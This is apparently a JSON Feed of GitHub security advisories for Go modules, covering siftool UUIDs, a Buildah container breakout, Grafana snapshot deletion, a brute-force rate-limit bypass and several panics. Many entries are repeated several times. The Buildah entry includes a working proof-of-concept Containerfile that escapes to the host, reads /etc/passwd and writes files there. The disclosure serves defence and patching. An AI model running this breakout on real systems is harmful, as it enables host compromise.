{ "version": "https://jsonfeed.org/version/1", "title": "Security Advisory for Go modules", "home_page_url": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Ago", "feed_url": "https://azu.github.io/github-advisory-database-rss/go.json", "description": "Security Advisory for Go modules on GitHub", "items": [ { "content_html": "
The siftool new command produces predictable UUID identifiers due to insecure randomness in the version of the github.com/satori/go.uuid
module used as a dependency.
A patch is available in version >= v1.2.1-0.20180404165556-75cca531ea76 of the module. Users are encouraged to upgrade.
\nFixed by https://github.com/hpcng/sif/pull/90
\nUsers passing CreateInfo struct should ensure the ID field is generated using a version of github.com/satori/go.uuid that is not vulnerable to this issue. Unfortunately, the latest tagged release is vulnerable to this issue. One way to obtain a non-vulnerable version is:
\ngo get -u github.com/satori/go.uuid@v1.2.1-0.20180404165556-75cca531ea76
https://github.com/satori/go.uuid/issues/73
\nIf you have any questions or comments about this advisory:
\nOpen an issue in https://github.com/hpcng/sif/issues
\nThe siftool new command produces predictable UUID identifiers due to insecure randomness in the version of the github.com/satori/go.uuid
module used as a dependency.
A patch is available in version >= v1.2.1-0.20180404165556-75cca531ea76 of the module. Users are encouraged to upgrade.
\nFixed by https://github.com/hpcng/sif/pull/90
\nUsers passing CreateInfo struct should ensure the ID field is generated using a version of github.com/satori/go.uuid that is not vulnerable to this issue. Unfortunately, the latest tagged release is vulnerable to this issue. One way to obtain a non-vulnerable version is:
\ngo get -u github.com/satori/go.uuid@v1.2.1-0.20180404165556-75cca531ea76
https://github.com/satori/go.uuid/issues/73
\nIf you have any questions or comments about this advisory:
\nOpen an issue in https://github.com/hpcng/sif/issues
\nWhat kind of vulnerability is it? Who is impacted?
\nUsers running containers with root privileges allowing a container to run with read/write access to the host system files when selinux is not enabled. With selinux enabled, some read access is allowed.
\nFrom @nalind
\n# cat /root/cve-2024-1753.diff\n--- internal/volumes/volumes.go\n+++ internal/volumes/volumes.go\n@@ -11,6 +11,7 @@ import (\n \n \"errors\"\n \n+\t\"github.com/containers/buildah/copier\"\n \"github.com/containers/buildah/define\"\n \"github.com/containers/buildah/internal\"\n internalParse \"github.com/containers/buildah/internal/parse\"\n@@ -189,7 +190,11 @@ func GetBindMount(ctx *types.SystemContext, args []string, contextDir string, st\n // buildkit parity: support absolute path for sources from current build context\n if contextDir != \"\" {\n // path should be /contextDir/specified path\n-\t\tnewMount.Source = filepath.Join(contextDir, filepath.Clean(string(filepath.Separator)+newMount.Source))\n+\t\tevaluated, err := copier.Eval(contextDir, newMount.Source, copier.EvalOptions{})\n+\t\tif err != nil {\n+\t\t\treturn newMount, \"\", err\n+\t\t}\n+\t\tnewMount.Source = evaluated\n } else {\n // looks like its coming from `build run --mount=type=bind` allow using absolute path\n // error out if no source is set\n
\nPrior to testing, as root, add a memorable username to /etc/passwd
via adduser or your favorite editor. Also create a memorably named file in /
. Suggest: touch /SHOULDNTSEETHIS.txt
and adduser SHOULDNTSEETHIS
. After testing, remember to remove both the file and the user from your system.
Use the following Containerfile
\n# cat ~/cve_Containerfile\nFROM alpine as base\n\nRUN ln -s / /rootdir\nRUN ln -s /etc /etc2\n\nFROM alpine\n\nRUN echo \"ls container root\"\nRUN ls -l /\n\nRUN echo \"With exploit show host root, not the container's root, and create /BIND_BREAKOUT in / on the host\"\nRUN --mount=type=bind,from=base,source=/rootdir,destination=/exploit,rw ls -l /exploit; touch /exploit/BIND_BREAKOUT; ls -l /exploit\n\nRUN echo \"With exploit show host /etc/passwd, not the container's, and create /BIND_BREAKOUT2 in /etc on the host\"\nRUN --mount=type=bind,rw,source=/etc2,destination=/etc2,from=base ls -l /; ls -l /etc2/passwd; cat /etc2/passwd; touch /etc2/BIND_BREAKOUT2; ls -l /etc2 \n
\nsetenforce 0\nbuildah build -f ~/cve_Containerfile .\n
\nAs part of the printout from the build, you should be able to see the contents of the /' and
/etcdirectories, including the
/SHOULDNOTSEETHIS.txtfile that you created, and the contents of the
/etc/passwdfile which will include the
SHOULDNOTSEETHISuser that you created. In addition, the file
/BIND_BREAKOUTand
/etc/BIND_BREAKOUT2` will exist on the host after the command is completed. Be sure to remove those two files between tests.
buildah rm -a\nbuildah rmi -a\nrm /BIND_BREAKOUT\nrm /etc/BIND_BREAKOUT2\nsetenforce 1\nbuildah build -f ~/cve_Containerfile .\n
\nNeither the /BIND_BREAKEOUT
or /etc/BIND_BREAKOUT2
files should be created. An error should be raised during the build when both files are trying to be created. Also, errors will be raised when the build tries to display the contents of the /etc/passwd
file, and nothing will be displayed from that file.
However, the files in both the /
and /etc
directories on the host system will be displayed.
Use the same commands as testing with an older version of Buildah.
\nWhen running using the patched version of Buildah, regardless of the setenforce
settings, you should not see the file that you created or the user that you added. Also the /BIND_BREAKOUT
and the /etc/BIND_BREAKOUT
will not exist on the host after the test completes.
NOTE: With the fix, the contents of the /
and /etc
directories, and the /etc/passwd
file will be displayed, however, it will be the file and contents from the container image, and NOT the host system. Also the /BIND_BREAKOUT
and /etc/BIND_BREAKOUT
files will be created in the container image.
Ensure selinux controls are in place to avoid compromising sensitive system files and systems. With \"setenforce 0\" set, which is not at all advised, the root file system is open for modification with this exploit. With \"setenfoce 1\" set, which is the recommendation, files can not be changed. However, the contents of the /
directory can be displayed. I.e., ls -alF /
will show the contents of the host directory.
Unknown.
\nIt is possible for a user in a different organization from the owner of a snapshot to bypass authorization and delete a snapshot by issuing a DELETE
request to /api/snapshots/<key>
using its view key. This functionality is intended to only be available to individuals with the permission to write/edit to the snapshot in question, but due to a bug in the authorization logic, deletion requests issued by an unprivileged user in a different organization than the snapshot owner are treated as authorized.
Grafana Labs would like to thank Ravid Mazon and Jay Chen of Palo Alto Research for discovering and disclosing this vulnerability.
\nThis issue affects Grafana: from 9.5.0 before 9.5.18, from 10.0.0 before 10.0.13, from 10.1.0 before 10.1.9, from 10.2.0 before 10.2.6, from 10.3.0 before 10.3.5.
\nIt is possible for a user in a different organization from the owner of a snapshot to bypass authorization and delete a snapshot by issuing a DELETE
request to /api/snapshots/<key>
using its view key. This functionality is intended to only be available to individuals with the permission to write/edit to the snapshot in question, but due to a bug in the authorization logic, deletion requests issued by an unprivileged user in a different organization than the snapshot owner are treated as authorized.
Grafana Labs would like to thank Ravid Mazon and Jay Chen of Palo Alto Research for discovering and disclosing this vulnerability.
\nThis issue affects Grafana: from 9.5.0 before 9.5.18, from 10.0.0 before 10.0.13, from 10.1.0 before 10.1.9, from 10.2.0 before 10.2.6, from 10.3.0 before 10.3.5.
\nIt is possible for a user in a different organization from the owner of a snapshot to bypass authorization and delete a snapshot by issuing a DELETE
request to /api/snapshots/<key>
using its view key. This functionality is intended to only be available to individuals with the permission to write/edit to the snapshot in question, but due to a bug in the authorization logic, deletion requests issued by an unprivileged user in a different organization than the snapshot owner are treated as authorized.
Grafana Labs would like to thank Ravid Mazon and Jay Chen of Palo Alto Research for discovering and disclosing this vulnerability.
\nThis issue affects Grafana: from 9.5.0 before 9.5.18, from 10.0.0 before 10.0.13, from 10.1.0 before 10.1.9, from 10.2.0 before 10.2.6, from 10.3.0 before 10.3.5.
\nIt is possible for a user in a different organization from the owner of a snapshot to bypass authorization and delete a snapshot by issuing a DELETE
request to /api/snapshots/<key>
using its view key. This functionality is intended to only be available to individuals with the permission to write/edit to the snapshot in question, but due to a bug in the authorization logic, deletion requests issued by an unprivileged user in a different organization than the snapshot owner are treated as authorized.
Grafana Labs would like to thank Ravid Mazon and Jay Chen of Palo Alto Research for discovering and disclosing this vulnerability.
\nThis issue affects Grafana: from 9.5.0 before 9.5.18, from 10.0.0 before 10.0.13, from 10.1.0 before 10.1.9, from 10.2.0 before 10.2.6, from 10.3.0 before 10.3.5.
\nIt is possible for a user in a different organization from the owner of a snapshot to bypass authorization and delete a snapshot by issuing a DELETE
request to /api/snapshots/<key>
using its view key. This functionality is intended to only be available to individuals with the permission to write/edit to the snapshot in question, but due to a bug in the authorization logic, deletion requests issued by an unprivileged user in a different organization than the snapshot owner are treated as authorized.
Grafana Labs would like to thank Ravid Mazon and Jay Chen of Palo Alto Research for discovering and disclosing this vulnerability.
\nThis issue affects Grafana: from 9.5.0 before 9.5.18, from 10.0.0 before 10.0.13, from 10.1.0 before 10.1.9, from 10.2.0 before 10.2.6, from 10.3.0 before 10.3.5.
\nAn attacker can effectively bypass the rate limit and brute force protections by exploiting the application's weak cache-based mechanism. This loophole in security can be combined with other vulnerabilities to attack the default admin account. This flaw undermines a previously patched CVE intended to protect against brute-force attacks.
\nThe application's brute force protection relies on a cache mechanism that tracks login attempts for each user. This cache is limited to a defaultMaxCacheSize
of 1000 entries. An attacker can overflow this cache by bombarding it with login attempts for different users, thereby pushing out the admin account's failed attempts and effectively resetting the rate limit for that account.
The brute force protection mechanism's code:
\n if failed && len(failures) >= getMaximumCacheSize() {\n log.Warnf(\"Session cache size exceeds %d entries, removing random entry\",\n\ngetMaximumCacheSize())\n idx := rand.Intn(len(failures) - 1)\n var rmUser string\n i := 0\n for key := range failures {\n\n if i == idx {\n rmUser = key\n\n delete(failures, key)\n\nbreak\n\n}\n\ni++ }\n\n log.Infof(\"Deleted entry for user %s from cache\", rmUser)\n }\n
\nIn just 15 minutes, the PoC was able to perform 230 brute force attempts on the admin account. This rate allows for approximately 1000 requests per hour, effectively rendering the older CVE rate limit patches useless.
\nThis is a severe vulnerability that enables attackers to perform brute force attacks at an accelerated rate, especially targeting the default admin account.
\nAn attacker can effectively bypass the rate limit and brute force protections by exploiting the application's weak cache-based mechanism. This loophole in security can be combined with other vulnerabilities to attack the default admin account. This flaw undermines a previously patched CVE intended to protect against brute-force attacks.
\nThe application's brute force protection relies on a cache mechanism that tracks login attempts for each user. This cache is limited to a defaultMaxCacheSize
of 1000 entries. An attacker can overflow this cache by bombarding it with login attempts for different users, thereby pushing out the admin account's failed attempts and effectively resetting the rate limit for that account.
The brute force protection mechanism's code:
\n if failed && len(failures) >= getMaximumCacheSize() {\n log.Warnf(\"Session cache size exceeds %d entries, removing random entry\",\n\ngetMaximumCacheSize())\n idx := rand.Intn(len(failures) - 1)\n var rmUser string\n i := 0\n for key := range failures {\n\n if i == idx {\n rmUser = key\n\n delete(failures, key)\n\nbreak\n\n}\n\ni++ }\n\n log.Infof(\"Deleted entry for user %s from cache\", rmUser)\n }\n
\nIn just 15 minutes, the PoC was able to perform 230 brute force attempts on the admin account. This rate allows for approximately 1000 requests per hour, effectively rendering the older CVE rate limit patches useless.
\nThis is a severe vulnerability that enables attackers to perform brute force attacks at an accelerated rate, especially targeting the default admin account.
\nAn attacker can effectively bypass the rate limit and brute force protections by exploiting the application's weak cache-based mechanism. This loophole in security can be combined with other vulnerabilities to attack the default admin account. This flaw undermines a previously patched CVE intended to protect against brute-force attacks.
\nThe application's brute force protection relies on a cache mechanism that tracks login attempts for each user. This cache is limited to a defaultMaxCacheSize
of 1000 entries. An attacker can overflow this cache by bombarding it with login attempts for different users, thereby pushing out the admin account's failed attempts and effectively resetting the rate limit for that account.
The brute force protection mechanism's code:
\n if failed && len(failures) >= getMaximumCacheSize() {\n log.Warnf(\"Session cache size exceeds %d entries, removing random entry\",\n\ngetMaximumCacheSize())\n idx := rand.Intn(len(failures) - 1)\n var rmUser string\n i := 0\n for key := range failures {\n\n if i == idx {\n rmUser = key\n\n delete(failures, key)\n\nbreak\n\n}\n\ni++ }\n\n log.Infof(\"Deleted entry for user %s from cache\", rmUser)\n }\n
\nIn just 15 minutes, the PoC was able to perform 230 brute force attempts on the admin account. This rate allows for approximately 1000 requests per hour, effectively rendering the older CVE rate limit patches useless.
\nThis is a severe vulnerability that enables attackers to perform brute force attacks at an accelerated rate, especially targeting the default admin account.
\nWhat kind of vulnerability is it? Who is impacted?
\nUsers running containers with root privileges allowing a container to run with read/write access to the host system files when selinux is not enabled. With selinux enabled, some read access is allowed.
\nFrom @nalind
\n# cat /root/cve-2024-1753.diff\n--- internal/volumes/volumes.go\n+++ internal/volumes/volumes.go\n@@ -11,6 +11,7 @@ import (\n \n \"errors\"\n \n+\t\"github.com/containers/buildah/copier\"\n \"github.com/containers/buildah/define\"\n \"github.com/containers/buildah/internal\"\n internalParse \"github.com/containers/buildah/internal/parse\"\n@@ -189,7 +190,11 @@ func GetBindMount(ctx *types.SystemContext, args []string, contextDir string, st\n // buildkit parity: support absolute path for sources from current build context\n if contextDir != \"\" {\n // path should be /contextDir/specified path\n-\t\tnewMount.Source = filepath.Join(contextDir, filepath.Clean(string(filepath.Separator)+newMount.Source))\n+\t\tevaluated, err := copier.Eval(contextDir, newMount.Source, copier.EvalOptions{})\n+\t\tif err != nil {\n+\t\t\treturn newMount, \"\", err\n+\t\t}\n+\t\tnewMount.Source = evaluated\n } else {\n // looks like its coming from `build run --mount=type=bind` allow using absolute path\n // error out if no source is set\n
\nPrior to testing, as root, add a memorable username to /etc/passwd
via adduser or your favorite editor. Also create a memorably named file in /
. Suggest: touch /SHOULDNTSEETHIS.txt
and adduser SHOULDNTSEETHIS
. After testing, remember to remove both the file and the user from your system.
Use the following Containerfile
\n# cat ~/cve_Containerfile\nFROM alpine as base\n\nRUN ln -s / /rootdir\nRUN ln -s /etc /etc2\n\nFROM alpine\n\nRUN echo \"ls container root\"\nRUN ls -l /\n\nRUN echo \"With exploit show host root, not the container's root, and create /BIND_BREAKOUT in / on the host\"\nRUN --mount=type=bind,from=base,source=/rootdir,destination=/exploit,rw ls -l /exploit; touch /exploit/BIND_BREAKOUT; ls -l /exploit\n\nRUN echo \"With exploit show host /etc/passwd, not the container's, and create /BIND_BREAKOUT2 in /etc on the host\"\nRUN --mount=type=bind,rw,source=/etc2,destination=/etc2,from=base ls -l /; ls -l /etc2/passwd; cat /etc2/passwd; touch /etc2/BIND_BREAKOUT2; ls -l /etc2 \n
\nsetenforce 0\nbuildah build -f ~/cve_Containerfile .\n
\nAs part of the printout from the build, you should be able to see the contents of the /' and
/etcdirectories, including the
/SHOULDNOTSEETHIS.txtfile that you created, and the contents of the
/etc/passwdfile which will include the
SHOULDNOTSEETHISuser that you created. In addition, the file
/BIND_BREAKOUTand
/etc/BIND_BREAKOUT2` will exist on the host after the command is completed. Be sure to remove those two files between tests.
buildah rm -a\nbuildah rmi -a\nrm /BIND_BREAKOUT\nrm /etc/BIND_BREAKOUT2\nsetenforce 1\nbuildah build -f ~/cve_Containerfile .\n
\nNeither the /BIND_BREAKEOUT
or /etc/BIND_BREAKOUT2
files should be created. An error should be raised during the build when both files are trying to be created. Also, errors will be raised when the build tries to display the contents of the /etc/passwd
file, and nothing will be displayed from that file.
However, the files in both the /
and /etc
directories on the host system will be displayed.
Use the same commands as testing with an older version of Buildah.
\nWhen running using the patched version of Buildah, regardless of the setenforce
settings, you should not see the file that you created or the user that you added. Also the /BIND_BREAKOUT
and the /etc/BIND_BREAKOUT
will not exist on the host after the test completes.
NOTE: With the fix, the contents of the /
and /etc
directories, and the /etc/passwd
file will be displayed, however, it will be the file and contents from the container image, and NOT the host system. Also the /BIND_BREAKOUT
and /etc/BIND_BREAKOUT
files will be created in the container image.
Ensure selinux controls are in place to avoid compromising sensitive system files and systems. With \"setenforce 0\" set, which is not at all advised, the root file system is open for modification with this exploit. With \"setenfoce 1\" set, which is the recommendation, files can not be changed. However, the contents of the /
directory can be displayed. I.e., ls -alF /
will show the contents of the host directory.
Unknown.
\nWhat kind of vulnerability is it? Who is impacted?
\nUsers running containers with root privileges allowing a container to run with read/write access to the host system files when selinux is not enabled. With selinux enabled, some read access is allowed.
\nFrom @nalind
\n# cat /root/cve-2024-1753.diff\n--- internal/volumes/volumes.go\n+++ internal/volumes/volumes.go\n@@ -11,6 +11,7 @@ import (\n \n \"errors\"\n \n+\t\"github.com/containers/buildah/copier\"\n \"github.com/containers/buildah/define\"\n \"github.com/containers/buildah/internal\"\n internalParse \"github.com/containers/buildah/internal/parse\"\n@@ -189,7 +190,11 @@ func GetBindMount(ctx *types.SystemContext, args []string, contextDir string, st\n // buildkit parity: support absolute path for sources from current build context\n if contextDir != \"\" {\n // path should be /contextDir/specified path\n-\t\tnewMount.Source = filepath.Join(contextDir, filepath.Clean(string(filepath.Separator)+newMount.Source))\n+\t\tevaluated, err := copier.Eval(contextDir, newMount.Source, copier.EvalOptions{})\n+\t\tif err != nil {\n+\t\t\treturn newMount, \"\", err\n+\t\t}\n+\t\tnewMount.Source = evaluated\n } else {\n // looks like its coming from `build run --mount=type=bind` allow using absolute path\n // error out if no source is set\n
\nPrior to testing, as root, add a memorable username to /etc/passwd
via adduser or your favorite editor. Also create a memorably named file in /
. Suggest: touch /SHOULDNTSEETHIS.txt
and adduser SHOULDNTSEETHIS
. After testing, remember to remove both the file and the user from your system.
Use the following Containerfile
\n# cat ~/cve_Containerfile\nFROM alpine as base\n\nRUN ln -s / /rootdir\nRUN ln -s /etc /etc2\n\nFROM alpine\n\nRUN echo \"ls container root\"\nRUN ls -l /\n\nRUN echo \"With exploit show host root, not the container's root, and create /BIND_BREAKOUT in / on the host\"\nRUN --mount=type=bind,from=base,source=/rootdir,destination=/exploit,rw ls -l /exploit; touch /exploit/BIND_BREAKOUT; ls -l /exploit\n\nRUN echo \"With exploit show host /etc/passwd, not the container's, and create /BIND_BREAKOUT2 in /etc on the host\"\nRUN --mount=type=bind,rw,source=/etc2,destination=/etc2,from=base ls -l /; ls -l /etc2/passwd; cat /etc2/passwd; touch /etc2/BIND_BREAKOUT2; ls -l /etc2 \n
\nsetenforce 0\nbuildah build -f ~/cve_Containerfile .\n
\nAs part of the printout from the build, you should be able to see the contents of the /' and
/etcdirectories, including the
/SHOULDNOTSEETHIS.txtfile that you created, and the contents of the
/etc/passwdfile which will include the
SHOULDNOTSEETHISuser that you created. In addition, the file
/BIND_BREAKOUTand
/etc/BIND_BREAKOUT2` will exist on the host after the command is completed. Be sure to remove those two files between tests.
buildah rm -a\nbuildah rmi -a\nrm /BIND_BREAKOUT\nrm /etc/BIND_BREAKOUT2\nsetenforce 1\nbuildah build -f ~/cve_Containerfile .\n
\nNeither the /BIND_BREAKEOUT
or /etc/BIND_BREAKOUT2
files should be created. An error should be raised during the build when both files are trying to be created. Also, errors will be raised when the build tries to display the contents of the /etc/passwd
file, and nothing will be displayed from that file.
However, the files in both the /
and /etc
directories on the host system will be displayed.
Use the same commands as testing with an older version of Buildah.
\nWhen running using the patched version of Buildah, regardless of the setenforce
settings, you should not see the file that you created or the user that you added. Also the /BIND_BREAKOUT
and the /etc/BIND_BREAKOUT
will not exist on the host after the test completes.
NOTE: With the fix, the contents of the /
and /etc
directories, and the /etc/passwd
file will be displayed, however, it will be the file and contents from the container image, and NOT the host system. Also the /BIND_BREAKOUT
and /etc/BIND_BREAKOUT
files will be created in the container image.
Ensure selinux controls are in place to avoid compromising sensitive system files and systems. With \"setenforce 0\" set, which is not at all advised, the root file system is open for modification with this exploit. With \"setenfoce 1\" set, which is the recommendation, files can not be changed. However, the contents of the /
directory can be displayed. I.e., ls -alF /
will show the contents of the host directory.
Unknown.
\nGrafana <= 6.4.3 has an Arbitrary File Read vulnerability, which could be exploited by an authenticated attacker that has privileges to modify the data source configurations.
\nZPLGFA 1.1.1 allows attackers to cause a panic (because of an integer index out of range during a ConvertToGraphicField call) via an image of zero width. NOTE: it is unclear whether there are common use cases in which this panic could have any security consequence
\nDisintegration Imaging 1.6.2 allows attackers to cause a panic (because of an integer index out of range during a Grayscale call) via a crafted TIFF file to the scan function of scanner.go. NOTE: it is unclear whether there are common use cases in which this panic could have any security consequence
\nUsing crafted public RSA keys which are not compliant with SP 800-56B can cause a small memory leak when encrypting and verifying payloads.
\nAn attacker can leverage this flaw to gradually erode available memory to the point where the host crashes for lack of resources. Upon restart the attacker would have to begin again, but nevertheless there is the potential to deny service.
\nUsing crafted public RSA keys which are not compliant with SP 800-56B can cause a small memory leak when encrypting and verifying payloads.
\nAn attacker can leverage this flaw to gradually erode available memory to the point where the host crashes for lack of resources. Upon restart the attacker would have to begin again, but nevertheless there is the potential to deny service.
\nUsing crafted public RSA keys which are not compliant with SP 800-56B can cause a small memory leak when encrypting and verifying payloads.
\nAn attacker can leverage this flaw to gradually erode available memory to the point where the host crashes for lack of resources. Upon restart the attacker would have to begin again, but nevertheless there is the potential to deny service.
\nUsing crafted public RSA keys which are not compliant with SP 800-56B can cause a small memory leak when encrypting and verifying payloads.
\nAn attacker can leverage this flaw to gradually erode available memory to the point where the host crashes for lack of resources. Upon restart the attacker would have to begin again, but nevertheless there is the potential to deny service.
\n